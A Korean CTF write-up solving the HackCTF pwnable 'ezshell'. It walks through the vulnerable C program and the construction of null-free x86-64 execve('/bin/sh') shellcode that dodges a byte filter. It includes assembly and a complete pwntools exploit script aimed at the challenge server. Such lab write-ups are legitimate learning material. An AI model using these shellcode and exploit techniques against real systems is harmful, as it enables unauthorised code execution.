tmxklab
[HackCTF/Pwnable] ezshell 본문
저번에 쉘 코드 작성 실습을 진행했으므로 이번에는 쉘 코드 관련 문제를 풀어보기로 하였다.
1. 문제
nc ctf.j0n9hyun.xyz 3036
1) mitigation
2) 문제 확인
[ezshell.c]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void Init(void)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
Init();
char result[100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB\x48\x31\xC9\x48\x31\xD2\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF";
char shellcode[30];
char filter[4] = {'\xb0', '\x3b', '\x0f', '\x05'};
read(0, shellcode, 30);
for (int i = 0; i <= 3; i ++)
{
if (strchr(shellcode, filter[i]))
{
puts("filtering :)");
exit(1);
}
}
for (int i = 0; i < 30; i++)
{
if (!shellcode[i])
{
puts("null :)");
exit(1);
}
}
strcat(result, shellcode);
(*(void (*)()) result + 2)();
}
3) 코드흐름 파악
3-1) result값 확인
[rbp-0x70]위치에 result변수가 존재하며 헥사 값 초기화
syscall인스트럭션이 존재하며 rip를 제외한 모든 레지스터 0으로 초기화
filter변수[rbp-0xA0]에 헥사 값 ("\xb0", "\x3b", "\x0f", "\x05")존재
3-2) 두 개의 for문(필터링)
첫 번째 for문)
for (int i = 0; i < 30; i++){
if (!shellcode[i]){
puts("null :)");
exit(1);
}
}
- filter배열에 저장된 값[ ["\xb0", "\x3b", "\x0f", "\x05"]이 shellcode변수에 존재하면 종료
→ \x05, \x0f는 syscall을 의미하는 듯
→ \xb0, \x3b는 sys_execve에 사용되는 rax에 0x3b(59)를 저장하기 위해 mov al, 3b을 의미하는 듯
두 번째 for문)
for (int i = 0; i < 30; i++){
if (!shellcode[i]){
puts("null :)");
exit(1);
}
}
shellcode배열에 30bytes모두 검사하여 null값이 존재하면 종료
3-3) strcat실행 및 result쉘 코드 실행
strcat(result, shellcode);
(*(void (*)()) result + 2)();
result에 read함수로 입력 값을 저장한 shellcode를 이어 붙이며 result[0x72]위치부터 쉘 코드 실행
즉, syscall인스트럭션은 실행되지 않으며 rip를 제외한 나머지 레지스터를 초기화시킨다.
2. 접근방법
0) result의 쉘 코드 확인
먼저, 쉘 코드를 작성할 수 있도록 shellcode변수를 주어줬지만 syscall인스트럭션을 제외한 나머지 레지스터를 0으로 초기화시키는 어셈 코드가 존재한다.
실행 전)
실행 후)
1) 쉘 코드 테스트
syscall쉘코드는 존재하며 쉘을 따기 위해서 syscall테이블에 있는 sys_execve함수를 사용한다.
Systemcall Table 참고)
< systemcall Table >
[sys_execve] : 59[rax], filename[rdi], argv[rsi], envp[rdx]
[참고사항]
→ filename에는 "/bin/sh"이 들어가야 하며 문자열이 아닌 문자열을 저장한 주소 값이 존재해야 한다.
→ rax값과 rdi의 값을 제외한 나머지 레지스터는 건드리지 않아도 된다.
[execve.asm]
global _start
section .text
_start:
jmp short shellcode
shellcode:
xor rax, rax
mov al, 59
mov rbx, 0x68732f6e69622f ; "/bin/sh"문자열
push rbx
push rsp
pop rdi
xor rbx, rbx
xor rsi, rsi
xor rdx, rdx
syscall
$nasm -f elf64 execve.asm // 오브젝트 파일 생성
$ld execve.o -o execve // 오브젝트 파일을 링커를 통해 실행파일로 생성
[실행결과]
성공적으로 쉘을 따내어 정상적으로 실행되는 것을 확인할 수 있다.
이제 위 어셈 코드를 참고하여 쉘 코드를 작성하기로 한다.
(참고로 xor연산을 통해 초기화 시키는 작업은 이미 result변수의 어셈 코드에 존재하므로 불필요한 어셈 코드는 제거)
2) 문제점1 - rsp
위 어셈 코드에서는 스택에서 push, pop을 이용하여 rdi값을 저장하였지만 ezshell의 result변수의 어셈 코드를 실행하면 rsp가 초기화되어 있기 때문에 스택을 건드릴 수가 없다.
따라서, 위 어셈 코드를 진행하기 전에 rsp를 스택에 가리키도록 해야 한다.
방법은 다음과 같이 2가지가 존재한다.(그냥 제 생각으론...)
1. RIP값이 스택의 주소 값을 가리키므로 rip레지스터를 이용한다.
2. fs레지스터를 통해 가져온다.
fs레지스터를 통해 가져오는 것이 쉘 코드가 짧아지므로 fs레지스터를 통해 가져오기로 한다.
→ mov rsp, QWORD PTR BYTE fs:[0x0]
(0x0을 그대로 대입하면 또 널 값이 발생하므로 0x0으로 세팅되어 있는 아무 레지스터 값을 넣으면 됨 ex) → fs:[rdx])
3) 문제점2 - 널 바이트 제거
이제 위 어셈 코드를 pwntools의 asm모듈을 통해 변환해보자
맨위 빨간색 박스를 보면 널 값과 filtering에 존재하는 "\xb0", "\x3b"가 존재한다.
3-1) mov al, 59 어셈 코드 변환
mov al, 59어셈 코드를 대응시켜보면 다음과 같다.
→ "\xb0" → mov al
→ "\x3b" → 59
따라서, 필터링에 걸리지 않게 다음과 같이 변환해준다.
→ mov cl, 58
→ mov al, cl
→ inc rax
3-2) mov rbx, "/bin/sh"어셈 코드 변환
한 바이트 널 값이 들어가는 바람에 필터링에 걸리게 된다.
그래서 널 값이 존재하지 않도록 다양한 방법을 생각하느라 시간이 오래걸렸는데..
문자열에 한 바이트 추가하는 방법을 생각하였다.
한 바이트 추가할 때 방법은 3가지가 존재하였다.
1. "/bin*/sh"
2. "/bin//sh"
3. "//bin/sh"
[테스트]
따라서, 3가지 방법 중 한 가지를 이용하기로 한다.
4) 문제점3 - syscall
위의 모든 작업은 syscall 어셈 코드가 존재해야 쉘을 딸 수 있다.
하지만, syscall 어셈 코드는 필터링에 걸리므로 result변수의 처음 생략된 syscall어셈 코드가 존재하는 곳으로 분기하도록 한다.
참고 사이트)
jmp : [ x ] → 여기서 operand는 현 위치 기준 상대주소
따라서, result변수의 syscall 인스트럭션이 저장된 스택 주소 값으로 이동하기 위해 계산해야 함
[ x ] = [ syscall(스택) ] - [ RIP ] - 5
→ rip : 0x7fffffffdeaa
→ syscall : 0x7fffffffde60
0x7fffffffde60 - 0x7fffffffdeaa - 5 = 0xffffffffffffffb1
하지만, 위의 값을 대입하면 안됨
0x7fffffffde60으로 가야하는데 rip값이 0x7fffffffde5a임
60과 5a의 차이가 6이므로 위의 값에 6을 더해주자
0x7fffffffde60 - 0x7fffffffdeaa - 5 + 6 = 0xffffffffffffffb7
3. 풀이
1) 어셈 코드 확인
- 다행히 필터링에 걸리거나 널 값이 존재하진 않다.
- 총 29바이트이므로 나머지 1byte는 NOP을 뜻하는 \x90으로 채우기로 한다.
2) 익스 코드
from pwn import *
context(log_level="DEBUG", arch="amd64", os="linux")
#p=process("./ez", aslr=False)
p= remote("ctf.j0n9hyun.xyz", 3036)
#gdb.attach(p, """b*0x555555554b92""")
payload = asm("mov rsp, QWORD PTR fs:[rdx]")
payload += asm("movabs rbx, 0x68732f6e69622f2f")
payload += asm("push rbx")
payload += asm("push rsp")
payload += asm("pop rdi")
payload += asm("mov cl, 58")
payload += asm("mov al, cl")
payload += asm("inc rax")
payload += asm("jmp 0xffffffffffffffb7", vma=0x1)
payload += "\x90"*(30-len(payload))
p.send(payload)
p.interactive()
3) 실행결과
4. 몰랐던 개념
1) /bin/sh 문자열
진짜 "/bin/sh"문자열을 어떻게 널 값이 안들어가게 넣는지 삽질을 엄청 많이했는데 "/"여러 개랑 "/"한 개가 같다는 것을 처음 알았다....
첨에는 "/bin*/sh"을 사용할 때 로컬에서는 잘 되는데 서버에서는 안되서 위에 저 방법을 찾는데 시간이 엄청 걸렸던 것 같다.
2) jump call
그리고 jump call 할 때 주소 값 계산할 때 절대 주소가 아니라 상대 주소를 통해 하는 것을 예전에 뭐였드라 그거 풀 때 알았는데 까먹어서 다시 찾아봤다.ㅋㄷ
3) mov rsp, QWORD PTR byte[fs:0x0]
마지막으로 mov rsp, QWORD PTR byte[fs:0x0]은 솔직히 지금도 이해가 안간다.
rsp에 저장되는 값은 스택 주소 값이 아닌데..
그래서 rip가 스택 주소 값을 가리키니깐 lea rsp, [rip]를 통해서 스택 주소 값을 가져왔는데 다시 rsp의 값을 원래대로 돌리기 위해서 어셈 코드 한 줄이 더필요해서 30bytes가 넘어가서 위에 방법을 사용했따.
참고 될만한 주소)
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Pwning (2) | 2020.06.23 |
---|---|
[HackCTF/Pwnable] pzshell (0) | 2020.06.11 |
[HackCTF/Pwnable] Gift (0) | 2020.05.18 |
[HackCTF/Pwnable] Look at me (0) | 2020.03.07 |
[HackCTF/Pwnable] Beginner_Heap (0) | 2020.03.07 |